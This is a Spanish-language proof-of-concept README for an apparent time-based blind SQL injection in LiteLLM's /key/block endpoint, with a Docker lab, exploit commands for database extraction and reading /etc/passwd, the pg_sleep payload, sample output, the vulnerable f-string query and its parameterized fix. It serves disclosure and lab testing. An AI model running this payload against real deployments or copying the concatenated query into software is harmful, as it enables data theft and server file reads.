CVE-2025-45809 — LiteLLM SQL Injection via /key/block (Time-Based Blind SQLi)

LiteLLM v1.65.4 (versiones anteriores a v1.81.0) de los endpoints /key/block y /key/unblock presentan una vulnerabilidad de inyección SQL en el parámetro key. Un atacante puede explotar la inyección ciega basada en tiempo para extraer contenido de la base de datos y leer archivos del servidor.

Description

Los endpoints /key/block y /key/unblock de LiteLLM se utilizan para gestionar el bloqueo/desbloqueo de claves API. Al procesar el parámetro key, estos endpoints concatenan directamente la entrada del usuario en la cadena de consulta SQL (usando formato f-string), sin utilizar consultas parametrizadas, lo que provoca una vulnerabilidad de inyección SQL.

Puntos finales vulnerables

Vectores de ataque

• Inyección ciega basada en tiempo: utilizando la función pg_sleep() de PostgreSQL, se confirma la inyección mediante diferencias en el tiempo de respuesta.
• Extracción de datos: se extrae el contenido de la base de datos carácter por carácter mediante consultas condicionales de tiempo.
• Lectura de archivos: se lee archivos del servidor utilizando la función pg_read_file() de PostgreSQL.

Proof of Concept

Quick Start (Docker)

# 1. Iniciar PostgreSQL + LiteLLM vulnerable
docker compose up -d

# 2. Instalar dependencias
pip install -r requirements.txt

# 3. Confirmar la inyección SQL (detección de retardo con pg_sleep)
python3 exploit/exploit.py --mode check --target http://localhost:4000

Nota: Al ejecutar el exploit por primera vez, se llamará automáticamente a /key/generate para crear una clave API, lo que hará que Prisma complete la creación de la tabla Key en la base de datos. Esto es un requisito previo necesario para que el endpoint /key/block pueda entrar en la ruta de consulta SQL vulnerable. Si se omite este paso, /key/block devolverá un 401 debido a que la tabla Key no está inicializada, impidiendo que la inyección se active.

4. Extraer el usuario actual de la base de datos

python3 exploit/exploit.py --mode extract-user --target http://localhost:4000

5. Extraer la versión de PostgreSQL

python3 exploit/exploit.py --mode extract-version --target http://localhost:4000

6. Intentar leer /etc/passwd

python3 exploit/exploit.py --mode file-read --target http://localhost:4000

7. (Opcional) Verificar la versión corregida

docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed

### Salida esperada

**Confirmación de inyección (--mode check):**

====================================================================== [VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4000 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)

[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)

[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s

**Versión corregida rechaza la inyección:**

====================================================================== [FIXED] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4001 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)

[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)

[+] Fixed version: No time delay detected (expected).

---

## Technical Details

### Código vulnerable

En LiteLLM v1.65.4, la lógica de procesamiento del endpoint `/key/block` es similar a la siguiente (simplificada):

```python
# Código vulnerable (v1.65.4) — uso de f-string para concatenar SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
    key = key_data.get("key", "")
    # Concatenación directa de la entrada del usuario a la consulta SQL
    query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
    await database.execute(query)
    return {"status": "success"}

Principio de inyección

El atacante inyecta una función de retardo de tiempo de PostgreSQL en el parámetro key:

' OR (SELECT pg_sleep(5)) IS NULL --

La consulta SQL resultante se convierte en:

UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'

Comparación de tiempos de respuesta

Requisito previo: Inicialización de la tabla de base de datos

LiteLLM v1.65.4 utiliza Prisma ORM para gestionar la base de datos. La tabla Key sigue una estrategia de creación diferida: antes de la primera llamada a /key/generate para crear una clave API, la tabla Key no existe en PostgreSQL. Esto provoca que la consulta de verificación de clave del endpoint /key/block (WHERE key='{input}') devuelva un 401 antes de llegar a la ruta de código SQL vulnerable, debido a que la tabla no existe.

El PoC actual maneja esto automáticamente: el script exploit, antes de enviar el payload de inyección, llama primero a /key/generate para crear una clave API, asegurando que la tabla de la base de datos esté lista.

Nota: Al iniciar el contenedor por primera vez, espere aproximadamente 30-60 segundos (instalación de Prisma CLI + inicialización de la base de datos). Espere hasta que aparezca Uvicorn running on http://0.0.0.0:4000 en los registros antes de ejecutar el exploit.

Environment

CVE-2025-45809/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml          # LiteLLM config with DB connection
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # SQL injection payload builder
├── docs/
│   └── advisory.md
└── screenshots/
    └── README.md

Fix

Se corrigió en v1.81.0, reemplazando la concatenación con f-string por consultas parametrizadas (Prepared Statements):

# Corregido — uso de consultas parametrizadas
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key})  # Enlace seguro de parámetros

Medidas de mitigación

1. Actualizar LiteLLM a v1.81.0+
2. Usar consultas parametrizadas en lugar de concatenación de cadenas
3. Implementar una validación estricta de entrada para el parámetro key
4. Desplegar un WAF para bloquear patrones de inyección SQL

References

• NVD Detail
• Huntr Bounty
• Snyk Advisory
• GitHub PoC (shadia0/Patienc)

Descargo de responsabilidad: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.